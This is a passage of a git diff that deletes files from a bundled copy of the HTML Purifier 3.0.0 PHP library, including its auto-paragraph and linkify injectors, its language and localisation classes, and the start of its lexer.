creates and therefore - * need to be allowed by the definition. Takes form of - * array('element' => array('attr', 'attr2'), 'element2') - */ - public $needed = array(); - - /** - * Prepares the injector by giving it the config and context objects: - * this allows references to important variables to be made within - * the injector. This function also checks if the HTML environment - * will work with the Injector: if p tags are not allowed, the - * Auto-Paragraphing injector should not be enabled. - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Boolean false if success, string of missing needed element/attribute if failure - */ - public function prepare($config, $context) { - $this->htmlDefinition = $config->getHTMLDefinition(); - // perform $needed checks - foreach ($this->needed as $element => $attributes) { - if (is_int($element)) $element = $attributes; - if (!isset($this->htmlDefinition->info[$element])) return $element; - if (!is_array($attributes)) continue; - foreach ($attributes as $name) { - if (!isset($this->htmlDefinition->info[$element]->attr[$name])) return "$element.$name"; - } - } - $this->currentNesting =& $context->get('CurrentNesting'); - $this->inputTokens =& $context->get('InputTokens'); - $this->inputIndex =& $context->get('InputIndex'); - return false; - } - - /** - * Tests if the context node allows a certain element - * @param $name Name of element to test for - * @return True if element is allowed, false if it is not - */ - public function allowsElement($name) { - if (!empty($this->currentNesting)) { - $parent_token = array_pop($this->currentNesting); - $this->currentNesting[] = $parent_token; - $parent = $this->htmlDefinition->info[$parent_token->name]; - } else { - $parent = $this->htmlDefinition->info_parent_def; - } - if (!isset($parent->child->elements[$name]) || isset($parent->excludes[$name])) { - return false; - } - return true; - } - - /** - * Handler that is called when a text token is processed - */ - public function handleText(&$token) {} - - /** - * Handler that is called when a start or empty token is processed - */ - public function handleElement(&$token) {} - - /** - * Notifier that is called when an end token is processed - * @note This differs from handlers in that the token is read-only - */ - public function notifyEnd($token) {} - - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/AutoParagraph.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/AutoParagraph.php deleted file mode 100644 index cfa9094..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/AutoParagraph.php +++ /dev/null @@ -1,281 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Injector.php'; - -HTMLPurifier_ConfigSchema::define( - 'AutoFormat', 'AutoParagraph', false, 'bool', ' -<p> - This directive turns on auto-paragraphing, where double newlines are - converted in to paragraphs whenever possible. Auto-paragraphing: -</p> -<ul> - <li>Always applies to inline elements or text in the root node,</li> - <li>Applies to inline elements or text with double newlines in nodes - that allow paragraph tags,</li> - <li>Applies to double newlines in paragraph tags</li> -</ul> -<p> - <code>p</code> tags must be allowed for this directive to take effect. - We do not use <code>br</code> tags for paragraphing, as that is - semantically incorrect. -</p> -<p> - To prevent auto-paragraphing as a content-producer, refrain from using - double-newlines except to specify a new paragraph or in contexts where - it has special meaning (whitespace usually has no meaning except in - tags like <code>pre</code>, so this should not be difficult.) To prevent - the paragraphing of inline text adjacent to block elements, wrap them - in <code>div</code> tags (the behavior is slightly different outside of - the root node.) -</p> -<p> - This directive has been available since 2.0.1. -</p> -'); - -/** - * Injector that auto paragraphs text in the root node based on - * double-spacing. - */ -class HTMLPurifier_Injector_AutoParagraph extends HTMLPurifier_Injector -{ - - public $name = 'AutoParagraph'; - public $needed = array('p'); - - private function _pStart() { - $par = new HTMLPurifier_Token_Start('p'); - $par->armor['MakeWellFormed_TagClosedError'] = true; - return $par; - } - - public function handleText(&$token) { - $text = $token->data; - if (empty($this->currentNesting)) { - if (!$this->allowsElement('p')) return; - // case 1: we're in root node (and it allows paragraphs) - $token = array($this->_pStart()); - $this->_splitText($text, $token); - } elseif ($this->currentNesting[count($this->currentNesting)-1]->name == 'p') { - // case 2: we're in a paragraph - $token = array(); - $this->_splitText($text, $token); - } elseif ($this->allowsElement('p')) { - // case 3: we're in an element that allows paragraphs - if (strpos($text, "\n\n") !== false) { - // case 3.1: this text node has a double-newline - $token = array($this->_pStart()); - $this->_splitText($text, $token); - } else { - $ok = false; - // test if up-coming tokens are either block or have - // a double newline in them - $nesting = 0; - for ($i = $this->inputIndex + 1; isset($this->inputTokens[$i]); $i++) { - if ($this->inputTokens[$i]->type == 'start'){ - if (!$this->_isInline($this->inputTokens[$i])) { - // we haven't found a double-newline, and - // we've hit a block element, so don't paragraph - $ok = false; - break; - } - $nesting++; - } - if ($this->inputTokens[$i]->type == 'end') { - if ($nesting <= 0) break; - $nesting--; - } - if ($this->inputTokens[$i]->type == 'text') { - // found it! - if (strpos($this->inputTokens[$i]->data, "\n\n") !== false) { - $ok = true; - break; - } - } - } - if ($ok) { - // case 3.2: this text node is next to another node - // that will start a paragraph - $token = array($this->_pStart(), $token); - } - } - } - - } - - public function handleElement(&$token) { - // check if we're inside a tag already - if (!empty($this->currentNesting)) { - if ($this->allowsElement('p')) { - // special case: we're in an element that allows paragraphs - - // this token is already paragraph, abort - if ($token->name == 'p') return; - - // this token is a block level, abort - if (!$this->_isInline($token)) return; - - // check if this token is adjacent to the parent token - $prev = $this->inputTokens[$this->inputIndex - 1]; - if ($prev->type != 'start') { - // not adjacent, we can abort early - // add lead paragraph tag if our token is inline - // and the previous tag was an end paragraph - if ( - $prev->name == 'p' && $prev->type == 'end' && - $this->_isInline($token) - ) { - $token = array($this->_pStart(), $token); - } - return; - } - - // this token is the first child of the element that allows - // paragraph. We have to peek ahead and see whether or not - // there is anything inside that suggests that a paragraph - // will be needed - $ok = false; - // maintain a mini-nesting counter, this lets us bail out - // early if possible - $j = 1; // current nesting, one is due to parent (we recalculate current token) - for ($i = $this->inputIndex; isset($this->inputTokens[$i]); $i++) { - if ($this->inputTokens[$i]->type == 'start') $j++; - if ($this->inputTokens[$i]->type == 'end') $j--; - if ($this->inputTokens[$i]->type == 'text') { - if (strpos($this->inputTokens[$i]->data, "\n\n") !== false) { - $ok = true; - break; - } - } - if ($j <= 0) break; - } - if ($ok) { - $token = array($this->_pStart(), $token); - } - } - return; - } - - // check if the start tag counts as a "block" element - if (!$this->_isInline($token)) return; - - // append a paragraph tag before the token - $token = array($this->_pStart(), $token); - } - - /** - * Splits up a text in paragraph tokens and appends them - * to the result stream that will replace the original - * @param $data String text data that will be processed - * into paragraphs - * @param $result Reference to array of tokens that the - * tags will be appended onto - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - private function _splitText($data, &$result) { - $raw_paragraphs = explode("\n\n", $data); - - // remove empty paragraphs - $paragraphs = array(); - $needs_start = false; - $needs_end = false; - - $c = count($raw_paragraphs); - if ($c == 1) { - // there were no double-newlines, abort quickly - $result[] = new HTMLPurifier_Token_Text($data); - return; - } - - for ($i = 0; $i < $c; $i++) { - $par = $raw_paragraphs[$i]; - if (trim($par) !== '') { - $paragraphs[] = $par; - continue; - } - if ($i == 0 && empty($result)) { - // The empty result indicates that the AutoParagraph - // injector did not add any start paragraph tokens. - // The fact that the first paragraph is empty indicates - // that there was a double-newline at the start of the - // data. - // Combined together, this means that we are in a paragraph, - // and the newline means we should start a new one. - $result[] = new HTMLPurifier_Token_End('p'); - // However, the start token should only be added if - // there is more processing to be done (i.e. there are - // real paragraphs in here). If there are none, the - // next start paragraph tag will be handled by the - // next run-around the injector - $needs_start = true; - } elseif ($i + 1 == $c) { - // a double-paragraph at the end indicates that - // there is an overriding need to start a new paragraph - // for the next section. This has no effect until - // we've processed all of the other paragraphs though - $needs_end = true; - } - } - - // check if there are no "real" paragraphs to be processed - if (empty($paragraphs)) { - return; - } - - // add a start tag if an end tag was added while processing - // the raw paragraphs (that happens if there's a leading double - // newline) - if ($needs_start) $result[] = $this->_pStart(); - - // append the paragraphs onto the result - foreach ($paragraphs as $par) { - $result[] = new HTMLPurifier_Token_Text($par); - $result[] = new HTMLPurifier_Token_End('p'); - $result[] = $this->_pStart(); - } - - // remove trailing start token, if one is needed, it will - // be handled the next time this injector is called - array_pop($result); - - // check the outside to determine whether or not the - // end paragraph tag should be removed. It should be removed - // unless the next non-whitespace token is a paragraph - // or a block element. - $remove_paragraph_end = true; - - if (!$needs_end) { - // Start of the checks one after the current token's index - for ($i = $this->inputIndex + 1; isset($this->inputTokens[$i]); $i++) { - if ($this->inputTokens[$i]->type == 'start' || $this->inputTokens[$i]->type == 'empty') { - $remove_paragraph_end = $this->_isInline($this->inputTokens[$i]); - } - // check if we can abort early (whitespace means we carry-on!) - if ($this->inputTokens[$i]->type == 'text' && !$this->inputTokens[$i]->is_whitespace) break; - // end tags will automatically be handled by MakeWellFormed, - // so we don't have to worry about them - if ($this->inputTokens[$i]->type == 'end') break; - } - } else { - $remove_paragraph_end = false; - } - - // check the outside to determine whether or not the - // end paragraph tag should be removed - if ($remove_paragraph_end) { - array_pop($result); - } - - } - - /** - * Returns true if passed token is inline (and, ergo, allowed in - * paragraph tags) - */ - private function _isInline($token) { - return isset($this->htmlDefinition->info['p']->child->elements[$token->name]); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/Linkify.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/Linkify.php deleted file mode 100644 index bb75aa5..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/Linkify.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Injector.php'; - -HTMLPurifier_ConfigSchema::define( - 'AutoFormat', 'Linkify', false, 'bool', ' -<p> - This directive turns on linkification, auto-linking http, ftp and - https URLs. <code>a</code> tags with the <code>href</code> attribute - must be allowed. This directive has been available since 2.0.1. -</p> -'); - -/** - * Injector that converts http, https and ftp text URLs to actual links. - */ -class HTMLPurifier_Injector_Linkify extends HTMLPurifier_Injector -{ - - public $name = 'Linkify'; - public $needed = array('a' => array('href')); - - public function handleText(&$token) { - if (!$this->allowsElement('a')) return; - - if (strpos($token->data, '://') === false) { - // our really quick heuristic failed, abort - // this may not work so well if we want to match things like - // "google.com", but then again, most people don't - return; - } - - // there is/are URL(s). Let's split the string: - // Note: this regex is extremely permissive - $bits = preg_split('#((?:https?|ftp)://[^\s\'"<>()]+)#S', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); - - $token = array(); - - // $i = index - // $c = count - // $l = is link - for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { - if (!$l) { - if ($bits[$i] === '') continue; - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - } else { - $token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i])); - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - $token[] = new HTMLPurifier_Token_End('a'); - } - } - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/PurifierLinkify.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/PurifierLinkify.php deleted file mode 100644 index 5d78c4a..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Injector/PurifierLinkify.php +++ /dev/null @@ -1,65 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Injector.php'; - -HTMLPurifier_ConfigSchema::define( - 'AutoFormat', 'PurifierLinkify', false, 'bool', ' -<p> - Internal auto-formatter that converts configuration directives in - syntax <a>%Namespace.Directive</a> to links. <code>a</code> tags - with the <code>href</code> attribute must be allowed. - This directive has been available since 2.0.1. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'AutoFormatParam', 'PurifierLinkifyDocURL', '#%s', 'string', ' -<p> - Location of configuration documentation to link to, let %s substitute - into the configuration\'s namespace and directive names sans the percent - sign. This directive has been available since 2.0.1. -</p> -'); - -/** - * Injector that converts configuration directive syntax %Namespace.Directive - * to links - */ -class HTMLPurifier_Injector_PurifierLinkify extends HTMLPurifier_Injector -{ - - public $name = 'PurifierLinkify'; - public $docURL; - public $needed = array('a' => array('href')); - - public function prepare($config, $context) { - $this->docURL = $config->get('AutoFormatParam', 'PurifierLinkifyDocURL'); - return parent::prepare($config, $context); - } - - public function handleText(&$token) { - if (!$this->allowsElement('a')) return; - if (strpos($token->data, '%') === false) return; - - $bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); - $token = array(); - - // $i = index - // $c = count - // $l = is link - for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { - if (!$l) { - if ($bits[$i] === '') continue; - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - } else { - $token[] = new HTMLPurifier_Token_Start('a', - array('href' => str_replace('%s', $bits[$i], $this->docURL))); - $token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]); - $token[] = new HTMLPurifier_Token_End('a'); - } - } - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language.php deleted file mode 100644 index a7d1003..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language.php +++ /dev/null @@ -1,153 +0,0 @@ -<?php - -require_once 'HTMLPurifier/LanguageFactory.php'; - -class HTMLPurifier_Language -{ - - /** - * ISO 639 language code of language. Prefers shortest possible version - */ - public $code = 'en'; - - /** - * Fallback language code - */ - public $fallback = false; - - /** - * Array of localizable messages - */ - public $messages = array(); - - /** - * Array of localizable error codes - */ - public $errorNames = array(); - - /** - * Has the language object been loaded yet? - * @todo Make it private, fix usage in HTMLPurifier_LanguageTest - */ - public $_loaded = false; - - /** - * Instances of HTMLPurifier_Config and HTMLPurifier_Context - */ - protected $config, $context; - - public function __construct($config, $context) { - $this->config = $config; - $this->context =& $context; - } - - /** - * Loads language object with necessary info from factory cache - * @note This is a lazy loader - */ - public function load() { - if ($this->_loaded) return; - $factory = HTMLPurifier_LanguageFactory::instance(); - $factory->loadLanguage($this->code); - foreach ($factory->keys as $key) { - $this->$key = $factory->cache[$this->code][$key]; - } - $this->_loaded = true; - } - - /** - * Retrieves a localised message. - * @param $key string identifier of message - * @return string localised message - */ - public function getMessage($key) { - if (!$this->_loaded) $this->load(); - if (!isset($this->messages[$key])) return "[$key]"; - return $this->messages[$key]; - } - - /** - * Retrieves a localised error name. - * @param $int integer error number, corresponding to PHP's error - * reporting - * @return string localised message - */ - public function getErrorName($int) { - if (!$this->_loaded) $this->load(); - if (!isset($this->errorNames[$int])) return "[Error: $int]"; - return $this->errorNames[$int]; - } - - /** - * Converts an array list into a string readable representation - */ - public function listify($array) { - $sep = $this->getMessage('Item separator'); - $sep_last = $this->getMessage('Item separator last'); - $ret = ''; - for ($i = 0, $c = count($array); $i < $c; $i++) { - if ($i == 0) { - } elseif ($i + 1 < $c) { - $ret .= $sep; - } else { - $ret .= $sep_last; - } - $ret .= $array[$i]; - } - return $ret; - } - - /** - * Formats a localised message with passed parameters - * @param $key string identifier of message - * @param $args Parameters to substitute in - * @return string localised message - * @todo Implement conditionals? Right now, some messages make - * reference to line numbers, but those aren't always available - */ - public function formatMessage($key, $args = array()) { - if (!$this->_loaded) $this->load(); - if (!isset($this->messages[$key])) return "[$key]"; - $raw = $this->messages[$key]; - $subst = array(); - $generator = false; - foreach ($args as $i => $value) { - if (is_object($value)) { - if ($value instanceof HTMLPurifier_Token) { - // factor this out some time - if (!$generator) $generator = $this->context->get('Generator'); - if (isset($value->name)) $subst['$'.$i.'.Name'] = $value->name; - if (isset($value->data)) $subst['$'.$i.'.Data'] = $value->data; - $subst['$'.$i.'.Compact'] = - $subst['$'.$i.'.Serialized'] = $generator->generateFromToken($value); - // a more complex algorithm for compact representation - // could be introduced for all types of tokens. This - // may need to be factored out into a dedicated class - if (!empty($value->attr)) { - $stripped_token = $value->copy(); - $stripped_token->attr = array(); - $subst['$'.$i.'.Compact'] = $generator->generateFromToken($stripped_token); - } - $subst['$'.$i.'.Line'] = $value->line ? $value->line : 'unknown'; - } - continue; - } elseif (is_array($value)) { - $keys = array_keys($value); - if (array_keys($keys) === $keys) { - // list - $subst['$'.$i] = $this->listify($value); - } else { - // associative array - // no $i implementation yet, sorry - $subst['$'.$i.'.Keys'] = $this->listify($keys); - $subst['$'.$i.'.Values'] = $this->listify(array_values($value)); - } - continue; - } - $subst['$' . $i] = $value; - } - return strtr($raw, $subst); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/classes/en-x-test.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/classes/en-x-test.php deleted file mode 100644 index cbf0e61..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/classes/en-x-test.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -// private class for unit testing - -class HTMLPurifier_Language_en_x_test extends HTMLPurifier_Language -{ - - - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en-x-test.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en-x-test.php deleted file mode 100644 index 3eac9ec..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en-x-test.php +++ /dev/null @@ -1,10 +0,0 @@ -<?php - -// private language message file for unit testing purposes - -$fallback = 'en'; - -$messages = array( - 'HTMLPurifier' => 'HTML Purifier X' -); - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en.php deleted file mode 100644 index b16c3ff..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Language/messages/en.php +++ /dev/null @@ -1,57 +0,0 @@ -<?php - -$fallback = false; - -$messages = array( - -'HTMLPurifier' => 'HTML Purifier', - -// for unit testing purposes -'LanguageFactoryTest: Pizza' => 'Pizza', -'LanguageTest: List' => '$1', -'LanguageTest: Hash' => '$1.Keys; $1.Values', - -'Item separator' => ', ', -'Item separator last' => ' and ', // non-Harvard style - -'ErrorCollector: No errors' => 'No errors detected. However, because error reporting is still incomplete, there may have been errors that the error collector was not notified of; please inspect the output HTML carefully.', -'ErrorCollector: At line' => ' at line $line', - -'Lexer: Unclosed comment' => 'Unclosed comment', -'Lexer: Unescaped lt' => 'Unescaped less-than sign (<) should be &lt;', -'Lexer: Missing gt' => 'Missing greater-than sign (>), previous less-than sign (<) should be escaped', -'Lexer: Missing attribute key' => 'Attribute declaration has no key', -'Lexer: Missing end quote' => 'Attribute declaration has no end quote', - -'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized', -'Strategy_RemoveForeignElements: Missing required attribute' => '$CurrentToken.Compact element missing required attribute $1', -'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text', -'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed', -'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed', -'Strategy_RemoveForeignElements: Foreign meta element removed' => 'Unrecognized $CurrentToken.Serialized meta tag and all descendants removed', -'Strategy_RemoveForeignElements: Token removed to end' => 'Tags and text starting from $1 element where removed to end', - -'Strategy_MakeWellFormed: Unnecessary end tag removed' => 'Unnecessary $CurrentToken.Serialized tag removed', -'Strategy_MakeWellFormed: Unnecessary end tag to text' => 'Unnecessary $CurrentToken.Serialized tag converted to text', -'Strategy_MakeWellFormed: Tag auto closed' => '$1.Compact started on line $1.Line auto-closed by $CurrentToken.Compact', -'Strategy_MakeWellFormed: Stray end tag removed' => 'Stray $CurrentToken.Serialized tag removed', -'Strategy_MakeWellFormed: Stray end tag to text' => 'Stray $CurrentToken.Serialized tag converted to text', -'Strategy_MakeWellFormed: Tag closed by element end' => '$1.Compact tag started on line $1.Line closed by end of $CurrentToken.Serialized', -'Strategy_MakeWellFormed: Tag closed by document end' => '$1.Compact tag started on line $1.Line closed by end of document', - -'Strategy_FixNesting: Node removed' => '$CurrentToken.Compact node removed', -'Strategy_FixNesting: Node excluded' => '$CurrentToken.Compact node removed due to descendant exclusion by ancestor element', -'Strategy_FixNesting: Node reorganized' => 'Contents of $CurrentToken.Compact node reorganized to enforce its content model', -'Strategy_FixNesting: Node contents removed' => 'Contents of $CurrentToken.Compact node removed', - -'AttrValidator: Attributes transformed' => 'Attributes on $CurrentToken.Compact transformed from $1.Keys to $2.Keys', -'AttrValidator: Attribute removed' => '$CurrentAttr.Name attribute on $CurrentToken.Compact removed', - -); - -$errorNames = array( - E_ERROR => 'Error', - E_WARNING => 'Warning', - E_NOTICE => 'Notice' -); - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/LanguageFactory.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/LanguageFactory.php deleted file mode 100644 index 2a8fdf9..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/LanguageFactory.php +++ /dev/null @@ -1,205 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Language.php'; -require_once 'HTMLPurifier/AttrDef/Lang.php'; - -HTMLPurifier_ConfigSchema::define( - 'Core', 'Language', 'en', 'string', ' -ISO 639 language code for localizable things in HTML Purifier to use, -which is mainly error reporting. There is currently only an English (en) -translation, so this directive is currently useless. -This directive has been available since 2.0.0. -'); - -/** - * Class responsible for generating HTMLPurifier_Language objects, managing - * caching and fallbacks. - * @note Thanks to MediaWiki for the general logic, although this version - * has been entirely rewritten - */ -class HTMLPurifier_LanguageFactory -{ - - /** - * Cache of language code information used to load HTMLPurifier_Language objects - * Structure is: $factory->cache[$language_code][$key] = $value - * @value array map - */ - public $cache; - - /** - * Valid keys in the HTMLPurifier_Language object. Designates which - * variables to slurp out of a message file. - * @value array list - */ - public $keys = array('fallback', 'messages', 'errorNames'); - - /** - * Instance of HTMLPurifier_AttrDef_Lang to validate language codes - * @value object HTMLPurifier_AttrDef_Lang - */ - protected $validator; - - /** - * Cached copy of dirname(__FILE__), directory of current file without - * trailing slash - * @value string filename - */ - protected $dir; - - /** - * Keys whose contents are a hash map and can be merged - * @value array lookup - */ - protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true); - - /** - * Keys whose contents are a list and can be merged - * @value array lookup - */ - protected $mergeable_keys_list = array(); - - /** - * Retrieve sole instance of the factory. - * @param $prototype Optional prototype to overload sole instance with, - * or bool true to reset to default factory. - */ - public static function &instance($prototype = null) { - static $instance = null; - if ($prototype !== null) { - $instance = $prototype; - } elseif ($instance === null || $prototype == true) { - $instance = new HTMLPurifier_LanguageFactory(); - $instance->setup(); - } - return $instance; - } - - /** - * Sets up the singleton, much like a constructor - * @note Prevents people from getting this outside of the singleton - */ - public function setup() { - $this->validator = new HTMLPurifier_AttrDef_Lang(); - $this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier'; - } - - /** - * Creates a language object, handles class fallbacks - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - public function create($config, $context) { - - // validate language code - $code = $this->validator->validate( - $config->get('Core', 'Language'), $config, $context - ); - if ($code === false) $code = 'en'; // malformed code becomes English - - $pcode = str_replace('-', '_', $code); // make valid PHP classname - static $depth = 0; // recursion protection - - if ($code == 'en') { - $class = 'HTMLPurifier_Language'; - $file = $this->dir . '/Language.php'; - } else { - $class = 'HTMLPurifier_Language_' . $pcode; - $file = $this->dir . '/Language/classes/' . $code . '.php'; - // PHP5/APC deps bug workaround can go here - // you can bypass the conditional include by loading the - // file yourself - if (file_exists($file) && !class_exists($class)) { - include_once $file; - } - } - - if (!class_exists($class)) { - // go fallback - $fallback = HTMLPurifier_LanguageFactory::getFallbackFor($code); - $depth++; - $lang = HTMLPurifier_LanguageFactory::factory( $fallback ); - $depth--; - } else { - $lang = new $class($config, $context); - } - $lang->code = $code; - - return $lang; - - } - - /** - * Returns the fallback language for language - * @note Loads the original language into cache - * @param $code string language code - */ - public function getFallbackFor($code) { - $this->loadLanguage($code); - return $this->cache[$code]['fallback']; - } - - /** - * Loads language into the cache, handles message file and fallbacks - * @param $code string language code - */ - public function loadLanguage($code) { - static $languages_seen = array(); // recursion guard - - // abort if we've already loaded it - if (isset($this->cache[$code])) return; - - // generate filename - $filename = $this->dir . '/Language/messages/' . $code . '.php'; - - // default fallback : may be overwritten by the ensuing include - $fallback = ($code != 'en') ? 'en' : false; - - // load primary localisation - if (!file_exists($filename)) { - // skip the include: will rely solely on fallback - $filename = $this->dir . '/Language/messages/en.php'; - $cache = array(); - } else { - include $filename; - $cache = compact($this->keys); - } - - // load fallback localisation - if (!empty($fallback)) { - - // infinite recursion guard - if (isset($languages_seen[$code])) { - trigger_error('Circular fallback reference in language ' . - $code, E_USER_ERROR); - $fallback = 'en'; - } - $language_seen[$code] = true; - - // load the fallback recursively - $this->loadLanguage($fallback); - $fallback_cache = $this->cache[$fallback]; - - // merge fallback with current language - foreach ( $this->keys as $key ) { - if (isset($cache[$key]) && isset($fallback_cache[$key])) { - if (isset($this->mergeable_keys_map[$key])) { - $cache[$key] = $cache[$key] + $fallback_cache[$key]; - } elseif (isset($this->mergeable_keys_list[$key])) { - $cache[$key] = array_merge( $fallback_cache[$key], $cache[$key] ); - } - } else { - $cache[$key] = $fallback_cache[$key]; - } - } - - } - - // save to cache for later retrieval - $this->cache[$code] = $cache; - - return; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer.php deleted file mode 100644 index 51f948c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Lexer.php +++ /dev/null @@ -1,359 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Token.php'; -require_once 'HTMLPurifier/Encoder.php'; -require_once 'HTMLPurifier/EntityParser.php'; - -// implementations -require_once 'HTMLPurifier/Lexer/DirectLex.php'; -if (version_compare(PHP_VERSION, "5", ">=")) { - // You can remove the if statement if you are running PHP 5 only. - // We ought to get the strict version to follow those rules. - require_once 'HTMLPurifier/Lexer/DOMLex.php'; -} - -HTMLPurifier_ConfigSchema::define( - 'Core', 'ConvertDocumentToFragment', true, 'bool', ' -This parameter determines whether or not the filter should convert -input that is a full document with html and body tags to a fragment -of just the contents of a body tag. This parameter is simply something -HTML Purifier can do during an edge-case: for most inputs, this -processing is not necessary. -'); -HTMLPurifier_ConfigSchema::defineAlias('Core', 'AcceptFullDocuments', 'Core', 'ConvertDocumentToFragment'); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'LexerImpl', null, 'mixed/null', ' -<p> - This parameter determines what lexer implementation can be used. The - valid values are: -</p> -<dl> - <dt><em>null</em></dt> - <dd> - Recommended, the lexer implementation will be auto-detected based on - your PHP-version and configuration. - </dd> - <dt><em>string</em> lexer identifier</dt> - <dd> - This is a slim way of manually overridding the implementation. - Currently recognized values are: DOMLex (the default PHP5 implementation) - and DirectLex (the default PHP4 implementation). Only use this if - you know what you are doing: usually, the auto-detection will - manage things for cases you aren\'t even aware of. - </dd> - <dt><em>object</em> lexer instance</dt> - <dd> - Super-advanced: you can specify your own, custom, implementation that - implements the interface defined by <code>HTMLPurifier_Lexer</code>. - I may remove this option simply because I don\'t expect anyone - to use it. - </dd> -</dl> -<p> - This directive has been available since 2.0.0. -</p> -' -); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'MaintainLineNumbers', null, 'bool/null', ' -<p> - If true, HTML Purifier will add line number information to all tokens. - This is useful when error reporting is turned on, but can result in - significant performance degradation and should not be used when - unnecessary. This directive must be used with the DirectLex lexer, - as the DOMLex lexer does not (yet) support this functionality. - If the value is null, an appropriate value will be selected based - on other configuration. This directive has been available since 2.0.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'Core', 'AggressivelyFixLt', false, 'bool', ' -This directive enables aggressive pre-filter fixes HTML Purifier can -perform in order to ensure that open angled-brackets do not get killed -during parsing stage. Enabling this will result in two preg_replace_callback -calls and one preg_replace call for every bit of HTML passed through here. -It is not necessary and will have no effect for PHP 4. -This directive has been available since 2.1.0. -'); - -/** - * Forgivingly lexes HTML (SGML-style) markup into tokens. - * - * A lexer parses a string of SGML-style markup and converts them into - * corresponding tokens. It doesn't check for well-formedness, although its - * internal mechanism may make this automatic (such as the case of - * HTMLPurifier_Lexer_DOMLex). There are several implementations to choose - * from. - * - * A lexer is HTML-oriented: it might work with XML, but it's not - * recommended, as we adhere to a subset of the specification for optimization - * reasons. - * - * This class should not be directly instantiated, but you may use create() to - * retrieve a default copy of the lexer. Being a supertype, this class - * does not actually define any implementation, but offers commonly used - * convenience functions for subclasses. - * - * @note The unit tests will instantiate this class for testing purposes, as - * many of the utility functions require a class to be instantiated. - * Be careful when porting this class to PHP 5. - * - * @par - * - * @note - * We use tokens rather than create a DOM representation because DOM would: - * - * @par - * -# Require more processing power to create, - * -# Require recursion to iterate, - * -# Must be compatible with PHP 5's DOM (otherwise duplication), - * -# Has the entire document structure (html and body not needed), and - * -# Has unknown readability improvement. - * - * @par - * What the last item means is that the functions for manipulating tokens are - * already fairly compact, and when well-commented, more abstraction may not - * be needed. - * - * @see HTMLPurifier_Token - */ -class HTMLPurifier_Lexer -{ - - // -- STATIC ---------------------------------------------------------- - - /** - * Retrieves or sets the default Lexer as a Prototype Factory. - * - * Depending on what PHP version you are running, the abstract base - * Lexer class will determine which concrete Lexer is best for you: - * HTMLPurifier_Lexer_DirectLex for PHP 4, and HTMLPurifier_Lexer_DOMLex - * for PHP 5 and beyond. This general rule has a few exceptions to it - * involving special features that only DirectLex implements. - * - * @note The behavior of this class has changed, rather than accepting - * a prototype object, it now accepts a configuration object. - * To specify your own prototype, set %Core.LexerImpl to it. - * This change in behavior de-singletonizes the lexer object. - * - * @note In PHP4, it is possible to call this factory method from - * subclasses, such usage is not recommended and not - * forwards-compatible. - * - * @param $prototype Optional prototype lexer or configuration object - * @return Concrete lexer. - */ - public static function create($config) { - - if (!($config instanceof HTMLPurifier_Config)) { - $lexer = $config; - trigger_error("Passing a prototype to - HTMLPurifier_Lexer::create() is deprecated, please instead 